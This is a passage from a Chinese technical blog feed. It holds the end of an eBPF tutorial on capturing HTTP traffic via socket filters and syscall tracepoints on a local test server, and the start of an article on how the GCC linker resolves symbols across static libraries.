&lt;pre&gt;&lt;code&gt;    &amp;#x2F;* Create raw socket for localhost interface *&amp;#x2F;
    sock = open_raw_sock(interface);
    if (sock &amp;lt; 0) {
        err = -2;
        fprintf(stderr, &amp;quot;Failed to open raw socket\n&amp;quot;);
        goto cleanup;
    }

    &amp;#x2F;* Attach BPF program to raw socket *&amp;#x2F;
    prog_fd = bpf_program__fd(skel-&amp;gt;progs.socket_handler);
    if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;prog_fd, sizeof(prog_fd))) {
        err = -3;
        fprintf(stderr, &amp;quot;Failed to attach to raw socket\n&amp;quot;);
        goto cleanup;
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;sock = open_raw_sock(interface);&lt;&#x2F;code&gt;：这行代码调用了一个自定义的函数&lt;code&gt;open_raw_sock&lt;&#x2F;code&gt;，该函数用于创建一个原始套接字。原始套接字允许用户态应用程序直接处理网络数据包，而不经过协议栈的处理。函数&lt;code&gt;open_raw_sock&lt;&#x2F;code&gt;可能需要一个参数 &lt;code&gt;interface&lt;&#x2F;code&gt;，用于指定网络接口，以便确定从哪个接口接收数据包。如果创建套接字失败，它将返回一个负数，否则返回套接字的文件描述符&lt;code&gt;sock&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;如果&lt;code&gt;sock&lt;&#x2F;code&gt;的值小于0，表示打开原始套接字失败，那么将&lt;code&gt;err&lt;&#x2F;code&gt;设置为-2，并在标准错误流上输出一条错误信息。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;prog_fd = bpf_program__fd(skel-&amp;gt;progs.socket_handler);&lt;&#x2F;code&gt;：这行代码获取之前在eBPF程序定义中的套接字过滤器程序（&lt;code&gt;socket_handler&lt;&#x2F;code&gt;）的文件描述符，以便后续将它附加到套接字上。&lt;code&gt;skel&lt;&#x2F;code&gt;是一个eBPF程序对象的指针，可以通过它来访问程序集合。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;prog_fd, sizeof(prog_fd))&lt;&#x2F;code&gt;：这行代码使用&lt;code&gt;setsockopt&lt;&#x2F;code&gt;系统调用将eBPF程序附加到原始套接字。它设置了&lt;code&gt;SO_ATTACH_BPF&lt;&#x2F;code&gt;选项，将eBPF程序的文件描述符传递给该选项，以便内核知道要将哪个eBPF程序应用于这个套接字。如果附加成功，套接字将开始捕获和处理从中接收到的网络数据包。&lt;&#x2F;li&gt;
&lt;li&gt;如果&lt;code&gt;setsockopt&lt;&#x2F;code&gt;失败，它将&lt;code&gt;err&lt;&#x2F;code&gt;设置为-3，并在标准错误流上输出一条错误信息。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;bian-yi-yun-xing&quot;&gt;编译运行&lt;&#x2F;h3&gt;
&lt;p&gt;完整的源代码可以在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;eunomia-bpf&#x2F;bpf-developer-tutorial&#x2F;tree&#x2F;main&#x2F;src&#x2F;23-http&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;eunomia-bpf&#x2F;bpf-developer-tutorial&#x2F;tree&#x2F;main&#x2F;src&#x2F;23-http&lt;&#x2F;a&gt; 中找到。编译运行上述代码：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ git submodule update --init --recursive
$ make
  BPF      .output&amp;#x2F;sockfilter.bpf.o
  GEN-SKEL .output&amp;#x2F;sockfilter.skel.h
  CC       .output&amp;#x2F;sockfilter.o
  BINARY   sockfilter
$ sudo .&amp;#x2F;sockfilter
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在另外一个窗口中，使用 python 启动一个简单的 web server：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http:&amp;#x2F;&amp;#x2F;0.0.0.0:8000&amp;#x2F;) ...
127.0.0.1 - - [18&amp;#x2F;Sep&amp;#x2F;2023 01:05:52] &amp;quot;GET &amp;#x2F; HTTP&amp;#x2F;1.1&amp;quot; 200 -
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以使用 curl 发起请求：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ curl http:&amp;#x2F;&amp;#x2F;0.0.0.0:8000&amp;#x2F;
&amp;lt;!DOCTYPE HTML&amp;gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;
&amp;lt;title&amp;gt;Directory listing for &amp;#x2F;&amp;lt;&amp;#x2F;title&amp;gt;
....
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 eBPF 程序中，可以看到打印出了 HTTP 请求的内容：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;127.0.0.1:34552(src) -&amp;gt; 127.0.0.1:8000(dst)
payload: GET &amp;#x2F; HTTP&amp;#x2F;1.1
Host: 0.0.0.0:8000
User-Agent: curl&amp;#x2F;7.88.1
...
127.0.0.1:8000(src) -&amp;gt; 127.0.0.1:34552(dst)
payload: HTTP&amp;#x2F;1.0 200 OK
Server: SimpleHTTP&amp;#x2F;0.6 Python&amp;#x2F;3.11.4
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;分别包含了请求和响应的内容。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-ebpf-syscall-tracepoint-lai-bu-huo-http-liu-liang&quot;&gt;使用 eBPF syscall tracepoint 来捕获 HTTP 流量&lt;&#x2F;h2&gt;
&lt;p&gt;eBPF 提供了一种强大的机制，允许我们在内核级别追踪系统调用。在这个示例中，我们将使用 eBPF 追踪 accept 和 read 系统调用，以捕获 HTTP 流量。由于篇幅有限，这里我们仅仅对代码框架做简要的介绍。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct
{
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 4096);
    __type(key, u64);
    __type(value, struct accept_args_t);
} active_accept_args_map SEC(&amp;quot;.maps&amp;quot;);

&amp;#x2F;&amp;#x2F; 定义在 accept 系统调用入口的追踪点
SEC(&amp;quot;tracepoint&amp;#x2F;syscalls&amp;#x2F;sys_enter_accept&amp;quot;)
int sys_enter_accept(struct trace_event_raw_sys_enter *ctx)
{
    u64 id = bpf_get_current_pid_tgid();
    &amp;#x2F;&amp;#x2F; ... 获取和存储 accept 调用的参数
    bpf_map_update_elem(&amp;amp;active_accept_args_map, &amp;amp;id, &amp;amp;accept_args, BPF_ANY);
    return 0;
}

&amp;#x2F;&amp;#x2F; 定义在 accept 系统调用退出的追踪点
SEC(&amp;quot;tracepoint&amp;#x2F;syscalls&amp;#x2F;sys_exit_accept&amp;quot;)
int sys_exit_accept(struct trace_event_raw_sys_exit *ctx)
{
    &amp;#x2F;&amp;#x2F; ... 处理 accept 调用的结果
    struct accept_args_t *args =
        bpf_map_lookup_elem(&amp;amp;active_accept_args_map, &amp;amp;id);
    &amp;#x2F;&amp;#x2F; ... 获取和存储 accept 调用获得的 socket 文件描述符
    __u64 pid_fd = ((__u64)pid &amp;lt;&amp;lt; 32) | (u32)ret_fd;
    bpf_map_update_elem(&amp;amp;conn_info_map, &amp;amp;pid_fd, &amp;amp;conn_info, BPF_ANY);
    &amp;#x2F;&amp;#x2F; ...
}

struct
{
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 4096);
    __type(key, u64);
    __type(value, struct data_args_t);
} active_read_args_map SEC(&amp;quot;.maps&amp;quot;);

&amp;#x2F;&amp;#x2F; 定义在 read 系统调用入口的追踪点
SEC(&amp;quot;tracepoint&amp;#x2F;syscalls&amp;#x2F;sys_enter_read&amp;quot;)
int sys_enter_read(struct trace_event_raw_sys_enter *ctx)
{
    &amp;#x2F;&amp;#x2F; ... 获取和存储 read 调用的参数
    bpf_map_update_elem(&amp;amp;active_read_args_map, &amp;amp;id, &amp;amp;read_args, BPF_ANY);
    return 0;
}

&amp;#x2F;&amp;#x2F; 辅助函数，检查是否为 HTTP 连接
static inline bool is_http_connection(const char *line_buffer, u64 bytes_count)
{
    &amp;#x2F;&amp;#x2F; ... 检查数据是否为 HTTP 请求或响应
}

&amp;#x2F;&amp;#x2F; 辅助函数，处理读取的数据
static inline void process_data(struct trace_event_raw_sys_exit *ctx,
                                u64 id, const struct data_args_t *args, u64 bytes_count)
{
    &amp;#x2F;&amp;#x2F; ... 处理读取的数据，检查是否为 HTTP 流量，并发送事件
    if (is_http_connection(line_buffer, bytes_count))
    {
        &amp;#x2F;&amp;#x2F; ...
        bpf_probe_read_kernel(&amp;amp;event.msg, read_size, args-&amp;gt;buf);
        &amp;#x2F;&amp;#x2F; ...
        bpf_perf_event_output(ctx, &amp;amp;events, BPF_F_CURRENT_CPU,
                              &amp;amp;event, sizeof(struct socket_data_event_t));
    }
}

&amp;#x2F;&amp;#x2F; 定义在 read 系统调用退出的追踪点
SEC(&amp;quot;tracepoint&amp;#x2F;syscalls&amp;#x2F;sys_exit_read&amp;quot;)
int sys_exit_read(struct trace_event_raw_sys_exit *ctx)
{
    &amp;#x2F;&amp;#x2F; ... 处理 read 调用的结果
    struct data_args_t *read_args = bpf_map_lookup_elem(&amp;amp;active_read_args_map, &amp;amp;id);
    if (read_args != NULL)
    {
        process_data(ctx, id, read_args, bytes_count);
    }
    &amp;#x2F;&amp;#x2F; ...
    return 0;
}

char _license[] SEC(&amp;quot;license&amp;quot;) = &amp;quot;GPL&amp;quot;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码简要展示了如何使用eBPF追踪Linux内核中的系统调用来捕获HTTP流量。以下是对代码的hook位置和流程的详细解释，以及需要hook哪些系统调用来实现完整的请求追踪：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;hook-wei-zhi-he-liu-cheng&quot;&gt;&lt;strong&gt;Hook 位置和流程&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;该代码使用了eBPF的Tracepoint功能，具体来说，它定义了一系列的eBPF程序，并将它们绑定到了特定的系统调用的Tracepoint上，以捕获这些系统调用的入口和退出事件。&lt;&#x2F;li&gt;
&lt;li&gt;首先，它定义了两个eBPF哈希映射（&lt;code&gt;active_accept_args_map&lt;&#x2F;code&gt;和&lt;code&gt;active_read_args_map&lt;&#x2F;code&gt;）来存储系统调用参数。这些映射用于跟踪&lt;code&gt;accept&lt;&#x2F;code&gt;和&lt;code&gt;read&lt;&#x2F;code&gt;系统调用。&lt;&#x2F;li&gt;
&lt;li&gt;接着，它定义了多个Tracepoint追踪程序，其中包括：&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sys_enter_accept&lt;&#x2F;code&gt;：定义在&lt;code&gt;accept&lt;&#x2F;code&gt;系统调用的入口处，用于捕获&lt;code&gt;accept&lt;&#x2F;code&gt;系统调用的参数，并将它们存储在哈希映射中。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sys_exit_accept&lt;&#x2F;code&gt;：定义在&lt;code&gt;accept&lt;&#x2F;code&gt;系统调用的退出处，用于处理&lt;code&gt;accept&lt;&#x2F;code&gt;系统调用的结果，包括获取和存储新的套接字文件描述符以及建立连接的相关信息。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sys_enter_read&lt;&#x2F;code&gt;：定义在&lt;code&gt;read&lt;&#x2F;code&gt;系统调用的入口处，用于捕获&lt;code&gt;read&lt;&#x2F;code&gt;系统调用的参数，并将它们存储在哈希映射中。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sys_exit_read&lt;&#x2F;code&gt;：定义在&lt;code&gt;read&lt;&#x2F;code&gt;系统调用的退出处，用于处理&lt;code&gt;read&lt;&#x2F;code&gt;系统调用的结果，包括检查读取的数据是否为HTTP流量，如果是，则发送事件。&lt;&#x2F;li&gt;
&lt;li&gt;在&lt;code&gt;sys_exit_accept&lt;&#x2F;code&gt;和&lt;code&gt;sys_exit_read&lt;&#x2F;code&gt;中，还涉及一些数据处理和事件发送的逻辑，例如检查数据是否为HTTP连接，组装事件数据，并使用&lt;code&gt;bpf_perf_event_output&lt;&#x2F;code&gt;将事件发送到用户空间供进一步处理。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xu-yao-hook-de-wan-zheng-xi-tong-diao-yong&quot;&gt;&lt;strong&gt;需要 Hook 的完整系统调用&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;要实现完整的HTTP请求追踪，通常需要hook的系统调用包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;socket&lt;&#x2F;code&gt;：用于捕获套接字创建，以追踪新的连接。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;bind&lt;&#x2F;code&gt;：用于获取绑定的端口信息。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;listen&lt;&#x2F;code&gt;：用于开始监听连接请求。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;accept&lt;&#x2F;code&gt;：用于接受连接请求，获取新的套接字文件描述符。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;read&lt;&#x2F;code&gt;：用于捕获接收到的数据，以检查其中是否包含 HTTP 请求。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;write&lt;&#x2F;code&gt;：用于捕获发送的数据，以检查其中是否包含 HTTP 响应。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;上述代码已经涵盖了&lt;code&gt;accept&lt;&#x2F;code&gt;和&lt;code&gt;read&lt;&#x2F;code&gt;系统调用的追踪。要完整实现HTTP请求的追踪，还需要hook其他系统调用，并实现相应的逻辑来处理这些系统调用的参数和结果。&lt;&#x2F;p&gt;
&lt;p&gt;完整的源代码可以在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;eunomia-bpf&#x2F;bpf-developer-tutorial&#x2F;tree&#x2F;main&#x2F;src&#x2F;23-http&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;eunomia-bpf&#x2F;bpf-developer-tutorial&#x2F;tree&#x2F;main&#x2F;src&#x2F;23-http&lt;&#x2F;a&gt; 中找到。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;在当今复杂的技术环境中，系统的可观测性变得至关重要，特别是在微服务和云原生应用程序的背景下。本文探讨了如何利用eBPF技术来追踪七层协议，以及在这个过程中可能面临的挑战和解决方案。以下是对本文内容的总结：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;背景介绍&lt;&#x2F;strong&gt;：&lt;&#x2F;li&gt;
&lt;li&gt;现代应用程序通常由多个微服务和分布式组件组成，因此观测整个系统的行为至关重要。&lt;&#x2F;li&gt;
&lt;li&gt;七层协议（如HTTP、gRPC、MQTT等）提供了深入了解应用程序交互的详细信息，但监控这些协议通常具有挑战性。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;eBPF技术的作用&lt;&#x2F;strong&gt;：&lt;&#x2F;li&gt;
&lt;li&gt;eBPF允许开发者在不修改或插入应用程序代码的情况下，深入内核层来实时观测和分析系统行为。&lt;&#x2F;li&gt;
&lt;li&gt;eBPF技术为监控七层协议提供了一个强大的工具，特别适用于微服务环境。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;追踪七层协议&lt;&#x2F;strong&gt;：&lt;&#x2F;li&gt;
&lt;li&gt;本文介绍了如何追踪HTTP等七层协议的挑战，包括协议的复杂性和动态性。&lt;&#x2F;li&gt;
&lt;li&gt;传统的网络监控工具难以应对七层协议的复杂性。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;eBPF的应用&lt;&#x2F;strong&gt;：&lt;&#x2F;li&gt;
&lt;li&gt;eBPF提供两种主要方法来追踪七层协议：socket filter和syscall trace。&lt;&#x2F;li&gt;
&lt;li&gt;这两种方法可以帮助捕获HTTP等协议的网络请求数据，并分析它们。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;eBPF实践教程&lt;&#x2F;strong&gt;：&lt;&#x2F;li&gt;
&lt;li&gt;本文提供了一个实际的eBPF教程，演示如何使用eBPF socket filter或syscall trace来捕获和分析HTTP流量。&lt;&#x2F;li&gt;
&lt;li&gt;教程内容包括开发eBPF程序、使用eBPF工具链和实施HTTP请求的追踪。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;通过这篇文章，读者可以获得深入了解如何使用eBPF技术来追踪七层协议，尤其是HTTP流量的知识。这将有助于更好地监控和分析网络流量，从而提高应用程序性能和安全性。如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;eunomia-bpf&#x2F;bpf-developer-tutorial&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;eunomia-bpf&#x2F;bpf-developer-tutorial&lt;&#x2F;a&gt; 或网站 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;eunomia.dev&#x2F;zh&#x2F;tutorials&#x2F;&quot;&gt;https:&#x2F;&#x2F;eunomia.dev&#x2F;zh&#x2F;tutorials&#x2F;&lt;&#x2F;a&gt; 以获取更多示例和完整的教程。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>GCC链接器静态库链接顺序浅析_gcc 静态库的先后顺序</title>
        <published>2024-01-09T00:00:00+00:00</published>
        <updated>2024-01-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/gcc链接器静态库链接顺序浅析_gcc-静态库的先后顺序/"/>
        <id>https://vercel.juzhong.asia/obsidian/gcc链接器静态库链接顺序浅析_gcc-静态库的先后顺序/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/gcc链接器静态库链接顺序浅析_gcc-静态库的先后顺序/">&lt;h1 id=&quot;gcclian-jie-qi-jing-tai-ku-lian-jie-shun-xu-qian-xi-gcc-jing-tai-ku-de-xian-hou-shun-xu&quot;&gt;GCC链接器静态库链接顺序浅析_gcc 静态库的先后顺序&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;1. 编译链接介绍&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;一份C代码要编译成为可执行文件，需要经历以下步骤：预编译，编译，汇编，链接[1]，如图1。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;gcc-static-lib-order&#x2F;gcc-compile-link-process.png&quot; alt=&quot;图1 编译和链接过程&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;图1 编译和链接过程
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先，在预编译阶段，源代码文件被预编译器cpp预编译成一个.i文件。预编译主要处理源代码文件中的以”#”开始的预编译指令。比如：”#include”、”#define”等。经过预编译后的.i文件不包含任何宏定义。&lt;&#x2F;p&gt;
&lt;p&gt;编译阶段就是把预处理完的文件进行一系列的词法分析、语法分析和语义分析以及产生汇编代码。源代码首先被输入到扫描器(Scanner) 中进行词法分析，将源代码的字符序列分割成一系列的记号 (Token) 。接下来语法分析器将对由扫描器产生的记号进行语法分析，从而产生语法树。编译器开发者设置了语法规则对语法书进行解析，检查C语言的代码是否符合语法规范。语法分析仅完成了对表达式的语法层面的分析，但它不了解这个语句是否真的有意义，因此需要对表达式进行语义分析。例如两个指针做乘法运算是没有意义的。语义分析的工作由语义分析器完成，主要用于静态语义的分析。静态语义通常包括生命和类型匹配，类型的转换。在经过语义分析后，整个语法树的表达式都被标识了类型。编译的最后阶段就是将源代码翻译成汇编代码。&lt;&#x2F;p&gt;
&lt;p&gt;汇编阶段将使用汇编器将汇编代码翻译成机器语言。汇编生成的是目标文件。&lt;&#x2F;p&gt;
&lt;p&gt;编译的对象是单个的C文件，我们也称其为编译单元，编译过程关注的是编译单元的翻译，而不处理编译单元之间的变量和函数的引用问题。因此链接的主要内容就是把各个模块之间相互引用的部分处理好，使各个模块之间能够正确的衔接。链接的过程主要包括了符号解析和重定位。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2. 目标文件符号解析&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;目标文件有三种形式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可重定位目标文件。包含二进制代码和数据，其形式可以在链接阶段和其他重定位目标文件合并起来，创建一个可执行目标文件。目前TDG1项目中编译生成的目标文件都是可重定位目标文件。&lt;&#x2F;li&gt;
&lt;li&gt;可执行目标文件。包含二进制代码和数据。其形式可以直接在内存或flash中执行。&lt;&#x2F;li&gt;
&lt;li&gt;共享目标文件。一种特殊类型的可重定位目标文件，可以在加载或者运行时被动态的加载到内存并链接。该目标文件一般用于PC中。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;==编译器和汇编器生成可重定位目标文件(包括共享目标文件) 。链接器生成可执行目标文件。每个可重定位文件中都有一个符号表”.symtab”，它包含目标文件中定义和引用符号的信息，有三种信息：==&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;由本目标文件定义的能被其它编译单元引用的全局符号，对应于在该编译单元定义的非static型函数以及全局变量&lt;&#x2F;li&gt;
&lt;li&gt;由其它模块定义并且被本目标文件引用的全局符号。这些符号称为外部符号，对应于定义在其它模块中的C函数和变量&lt;&#x2F;li&gt;
&lt;li&gt;只被本模块定义和引用的本地符号。对应于在该编译单元定义的static型函数以及全局变量。这些符号在本模块中随处可见，但不能被其它模块引用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在链接过程中，主要对前两种符号进行解析。链接器解析符号的方法是将每个引用于她它输入的可重定位目标文件的符号表中的一个确定的符号定义联系起来。链接器使用两种文件进行链接过程：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;相关的可重定位目标文件&lt;&#x2F;li&gt;
&lt;li&gt;将某些可重定位目标文件打包成一个单独的文件，称为静态库&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这两种文件在链接选项中可同时使用和多次调用。GCC在链接时对依赖库可重定位目标文件的顺序是敏感的，==&lt;strong&gt;被依赖的目标文件和库必须放在后面&lt;&#x2F;strong&gt;==（为何敏感，将在后续介绍）。由于在链接过程中，各个目标文件的依赖关系错综复杂，因此一般将相关的目标文件打包成一个静态库进行链接。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;3. 链接器确定静态库链接顺序&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;链接器使用直接读取可重定位目标文件和静态库的方法完成链接工作。符号解析阶段，链接器会从左到右按照它们在编译器驱动程序命令行上出现的相同顺序来扫描可重定位目标文件和静态库文件。在扫描的整个周期中，连接器会维护一个可重定位目标文件的集合(集合E中的文件最终会被合并起来形成可执行文件)。一个未解析的符号表U (即集合E中的目标文件中引用了符号，但集合E中所有目标文件都未定义该符号) ，以及已定义的符号集合D (即集合E中的所有目标文件中定义的符号集合) 。在扫描初始阶段，集合E、U和D都是空的[2]。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对于命令行上的每个输入文件f，链接器会判断f是目标文件还是静态库。如果f是目标文件，那么链接器把f添加到E，将文件f中的符号定义和引用 (该引用在集合D中不存在) 分别添加到集合D和集合E中，并继续下一个输入文件。（应该同时会更新U集合？）&lt;&#x2F;li&gt;
&lt;li&gt;如果f是静态库文件，那么链接器就尝试匹配U中未解析的符号和静态库成员定义的符号。==&lt;strong&gt;静态库匹配顺序就是静态库的打包顺序，可使用nm指令查看静态库顺序。如果静态库文件中某个成员m，定义了一个符号来解析U中的一个引用，那么就将目标文件m加入到E中，并且将m中的符号定义和引用 (该引用在集合D中不存在) 分别添加到集合D和集合E中。&lt;&#x2F;strong&gt;== 对于静态库文件中所有的成员目标文件都依次进行这个过程，并且循环多次直到集合U和D都不再发生变化。此时，静态库文件中任何不包含在E中的成员目标文件都会被直接丢弃，而链接器将继续处理下一个目标文件或库文件。&lt;&#x2F;li&gt;
&lt;li&gt;如果当链接器完成对命令行上输入文件的扫描后，U是非空的，那么链接器将会输出一个错误并终止。否则它会合并和重定位E中的目标文件，构建输出的可执行文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;GCC链接时对依赖库&#x2F;目标文件的顺序是敏感的，是因为在解析过程中，==先被解析的文件中定义的所有符号如果没有被集合E中的目标文件引用到 (即使一个符号被引用，也会添加到E中) ，该文件会被直接丢弃==，而在后续文件中即使再有该符号的引用，但已经找不到该符号的定义了，所以链接器会报错。==解决这一问题的方法一般是调整好依赖顺序，或者将所有的库文件打包成一个单独的库文件。==&lt;&#x2F;p&gt;
&lt;p&gt;例如，test.c文件调用libx.a和libz.a中的函数，而这两个库又调用liby.a中的函数，那么在命令行中，libx.a和libz.a必须处在liby.a之前：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;          Linux&amp;gt;    gcc test.c libx.a libz.a liby.a
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;==&lt;strong&gt;或者首先将libx.a和liby.a合并成一个库文件libz.a，然后再进行链接：&lt;&#x2F;strong&gt;==&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;          Linux&amp;gt;    ar x libx.a

          Linux&amp;gt;   ar x liby.a

          Linux&amp;gt;   ar cru libz.a \*.o

          Linux&amp;gt;   gcc test.c libz.a
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;4. 静态库解析符号实例&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本节通过实例验证上节中描述的解析方法，实验环境为Ubuntu14.04, GCC版本V4.8.4。代码详见附录。&lt;&#x2F;p&gt;
&lt;p&gt;在该实例中，a.c为主程序，b.c - g.c为a.c依赖的文件，编译阶段生成对应的.o文件(可重定位文件)。源文件之间的依赖关系如图2所示。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;gcc-static-lib-order&#x2F;static-lib-module-deps.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;图2模块依赖关系
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Build.sh为Linux下的批处理文件，如图2所示。其中，注1表示的是将所有的.c文件编译成可重定位目标文件。注2表示将a.c的依赖文件按照指定的顺序打包为静态库文件lib.a，打包顺序为：g.o, f.o, e,o, d.o e.o, d.o c.o b.o。注3表示使用a.o和lib.a进行链接得到可执行目标文件，同时生成test.map文件。map文件中包含了目标文件加载到链接过程的顺序。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;gcc-static-lib-order&#x2F;gcc-build-link-script.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;图3编译和链接脚本
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第一步，链接命令中第一个文件a.o为可重定位文件，将a.o添加到集合E中，a.o文件中未解析的符号有function_c, c_1, f_1,和b_1（见图4），将这些符号存放至集合U。a.o文件中已定义的符号有a_1和main，存放至集合D，第一步完成后，集合E，U和D的内容详见表1 a.o列。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;gcc-static-lib-order&#x2F;gcc-link-a-o-symbol-table.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;图4 a.o符号表
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第二步，链接命令中的第二个文件lib.a为静态库文件，首先匹配g.o文件，g.o文件中定义的符号和集合U中匹配不上，该文件不添加到集合E中，转到下一个文件f.o。g.o文件符号表见图5.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;gcc-static-lib-order&#x2F;gcc-go-object-symbols.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;图5 g.o符号表
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第三步，将集合U和匹配文件f.o，发现f.o文件中存在定义符号f_1和集合U中匹配(见图6)，则将f.o文件加入到集合E中，将f_1从集合U中转移到集合D中。该步骤完成后，集合E，U和D的内容详见表1 f.o列。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;gcc-static-lib-order&#x2F;gcc-static-lib-fo-symbols.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
